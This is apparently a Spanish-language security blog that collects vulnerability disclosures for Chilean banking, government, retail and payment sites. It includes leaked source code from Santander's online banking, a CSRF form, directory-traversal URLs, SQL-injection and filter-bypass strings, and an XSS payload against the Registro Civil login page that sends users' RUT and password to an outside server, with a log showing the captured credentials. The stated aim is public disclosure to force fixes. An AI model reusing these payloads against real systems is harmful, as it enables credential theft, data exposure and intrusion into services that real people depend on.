Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.

Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a @Van_ultraviolet, que le respondieron:

• Es una persona que necesita mucha atención, por eso hace esto.
• Cualquier persona puede acceder al código fuente.
• Revisamos las alertas del pseudo-hacker y no son reales.

Pueden ver a respuesta completa aca: http://twitter.theinfo.org/152376559511142400

Considero que esto es impresentable y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.

Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del Source Code Disclosure y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.

El banco no ha respondido publicamente sobre el asunto, el “canal web” y el llamado “Community Manager” que maneja la cuenta de Twitter (@SantanderChile), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.

Como conclusión, hay 3 empresas involucradas:

1. Santander: La entidad afectada, el Banco.
2. TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.
3. NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la “seguridad” del Banco, es decir, es la “empresa lider en seguridad informatica” que audita periodicamente los sistemas del santander, según ellos; Aviso de seguridad Santander.

De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.

Ustedes juzguen.

Se trata de una vulnerabilidad Local File Include + Directory Traversal = Source Code Disclosure, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.

Lo curioso es que segun el aviso de seguridad oficial del banco santander, hay una empresa “lider” en seguridad informática que les hace auditoría periodica:

Cierto, parece un chiste.

La vulnerabilidad está presente en el archivo “VerRentabilidad.asp”, que sirve para ver la rentabilidad de “algo”. El archivo necesita que se le entregue una variable “Numero”, al cual debemos pasarle especificamente un archivo y será descargado.
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga

        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" & nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") & Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" & nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if

En la línea 01 almacena en la variable “nombrePDF” el valor que le entegamos por URL mediante la variable “Numero”, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.

Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.

Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema

transa/
transa/ErrorDB/
transa/DHS/
transa/solicitud/
transa/include/
transa/Productos/
transa/Productos/include/
transa/preerror.asp
transa/logteclado.asp
transa/FuncBanco.asp
transa/common.asp
transa/cruce.asp
transa/ErrorDB/LogHOB.asp
transa/DHS/Constantes.asp
transa/DHS/DHSFuncs.asp
transa/solicitud/constantes_campana.asp
transa/include/ReadWriteSesion.asp
transa/include/TrampHBFC.asp
transa/include/prodini.asp
transa/Productos/include/ProdMenu.asp

Por ejemplo, ReadWriteSesion.asp:

ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) & right("00"&month(now()),2) & right("00"&day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) & "ErrorEstComp" & NameArr & fecha & ".txt"
	Linea = "	URL = " & URL
	Linea = Linea & "	Detalle = " & Objeto
	linea = fecha&";"& TimeValue(now()) &";" & linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function

Otor ejemplo, el archivo cruce.asp:

'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME & "/transa/partida.asp"
        path_sinper = SECWEBNAME & "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************

Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el sistema de banco mas seguro de latinoamerica.

A todas las personas que lean este artículo:
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.

A los encargados de seguridad de los bancos u otras entidades:
- La seguridad no es unicamente enviar emails y dar consejos tipo “no abras links”
- La seguridad de tu institucion no depende de un certificado SSL.

Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:
site:santander.cl inurl:VerRentabilidad
No es necesario estar logueado en el sistema para poder explotarla.

Solo me queda una pregunta… ¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?

Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:

Política de Privacidad

En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la empresa respeta el deber de proteger los datos de carácter privado y personales de los usuarios, no dando acceso a ellos al público a menos que el propio usuario los de a conocer, por medio de la página web bajo su consentimiento, no pudiendo hacer responsable a la empresa por la información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales tomando todas las medidas necesarias para esto, a fin de evitar la pérdida, mal uso o cualquier apropiación indebida de estos mismos.

Lo que más me llama la atención es que segun ellos, son 100% privados y seguros:

Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% no existe.

He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.

Las vulnerabilidades son Cross-Site Request Forgery (CSRF) y Cross-Site Scripting (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a “tus amigos” para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.

Uno de los XSS detectados está en la página de error, cuando no encuentra el “módulo”

El segundo Cross-Site Scripting, lo encontré al momento de configurar el “Boss-Mode”

Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un “mensaje” enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).

Si falsificamos ese formulario y lo corremos de forma local, con un simple html:

<form method=post action=http://www.huntcha.com/?c=app&m=send_invitation>
Token Falso: <input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391><br>
Nombre: <input type=text name=name value=”AAA”><br>
Destino: <input type=text name=mail value=panic@zerial.org><br>
Mensaje: <input type=text name=message value=”hola<a href=’http://www.huntcha.com/?c=index&m=bossmode_denied&url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl’>AAA</a>”><br>
<input type=submit>
</form>

El formulario nos quedaría de la siguiente forma:

Cuando le damos a “Submit query”, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.

En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.

La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a cualquier portal o sitio web. Hoy en día todas las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.

El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.

Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference 8.8 para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una “entidad reguladora” es capaz de hacer entender a los responsables y encargados.

Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el robo de credenciales y suplantación de identidad.

Este fallo afecta a la página de autentificación de certificados en línea

En el cual es posible modificar la función el botón “Ingresar”, para que nos envíe la información de identificación a un sitio externo.

La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el dominio original y real del Registro Civil, incluso su certificado de “seguridad” SSL. La URL maliciosa tiene la forma

https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX

Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable “pag” y sobreescribir la función javascript “ingresar()”.

En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación

El nombre de usuario/rut
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E

La password
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E

Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón “Ingresar”, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos
https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc’; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(‘rut: ‘ %2b _a %2b ‘ password: ‘ %2b _b); }</script><script>

Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador

Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.

Modificaremos la función “ingresar()” de forma tal que nos envie la información del formulario al dominio zerial.org (de pruebas), usando el siguiente código javascript:

pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}

Se lo inyectamos a la URL vulnerable:

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).

En el caso de Facebook, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a “Juan Perez” y llegamos a su perfil http://www.facebook.com/juan.perez, Facebook nos mostrará un captcha para poder ver si perfil

Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto

Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. El captcha de Facebook está de adorno.

Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077 y Facebook nos muestra amablemente un captcha

¡Asombroso! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos…. Ya, pero hablemos en serio.

Intentemos ingresar cualquier palabra a ver que pasa

Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona

Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un “enter”. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.

¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.

Ironicamente, cuando vemos el link “¿Que es esto?” al lado del captcha, Facebook nos muestra la siguiente información:

Otra más de facebook.

Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.

Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos … PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.

Que tipo de información podemos ver aqui?

1. Se refiere al “cliente” como “Usuario”, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.
2. El banco mediante el cual se hace el pago.
3. Empresa o servicio que se paga.
4. Monto, fecha y ID del pago realizado.

Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago … en fin, una serie de información que nadie tendría que saber.

Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del 68012208:

Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.

No es esto poner en riesgo los datos de los usuarios?

La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.

Cual es el potencial riesgo de estas dos vulnerabilidades juntas?

Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.

Nuevamente, Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.

ACTUALIZADO Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:

Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.

ACTUALIZADO (6 de Septiembre)
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para “obligarlos” a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:

http://www.secureless.org/vulnerability/2034/

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.
Los sitios afectados son: http://www.falabella.cl y http://www.ripley.cl incluyendo los sitios “seguros” (https) de cada uno.

Lo más irónico es que los sitios estan “certificados” por una empresa de seguridad que según ellos:

Verisign, líder mundial en certificación de comercio electrónico.

Aunque no me sorprende, luego de haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign.

Otra cosa que tambien les debería dar verguenza a estas empresas es prometer 100% de seguridad al usuario, como dice en sus propios sitios web:

Todo esto es una mentira.

Con las 2 imagenes que veran a continuación, no habrá mucho que explicar…

1.

2.

Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios “super seguros” https.

Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella FALSO, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.

Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos nunca pedirán datos por correo pero sin embargo … Pero qué pasa si te llega un correo con links verdaderos a httpS://www.falabella.com o httpS://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos … Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.

Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las mentiras falsas promesas que hacen los portales de internet que por obligación DEBEN ser seguros, pero no los son.

La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.

Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.

En la sección “Quienes somos” podemos ver el siguiente mensaje:

Como es de costumbre de todas estas empresas, todas tienen un “alto estandar de seguridad” y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una mentira.

Según ellos:

Seguridad
Contamos con las herramientas de más alto nivel en seguridad y eficiencia que la tecnología virtual ofrece en el mercado actualmente.

Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta @ServipagOnLine comenzó a seguirme y me dijo “Nuestro jefe de proyectos se contactara contigo“, 7 días despues lo único que he recibido es un correo que dice:

Le respondí cómo podía contactarme y eso fue el fin de la conversación.

Las vulnerabilidades

Local File Include & Directory Traversal

Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo “browse.asp”, al pasarle mediante la variable “pagina” el archivo que deseamos ver, por ejemplo “../../../../../../../../../../../boot.ini”.

Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los “slash” normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:

Pero gracias a la contribución de @1error500, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los “slash” por “backslash” (\), podemos explotar nuevamente la vulnerabilidad.

Por ejemplo: http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&EstadoUsuario=0&TipoConsulta=EXPRESS&IdPagoSolicitado=4008706&IdPeriodoSolicitado=201107

#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

127.0.0.1 localhost
192.168.2.8www.servipag.com

Una verguenza de seguridad.

Cross Site Scripting (XSS)

Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable “p” y a la variable “mensaje_error” dependiendo de la “pagina” a mostrar.

- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&bloque=Pagos%20Preguntas%20Frecuentes1&p=%3Cscript%3Ealert(/XSS/)%3C/script%3E
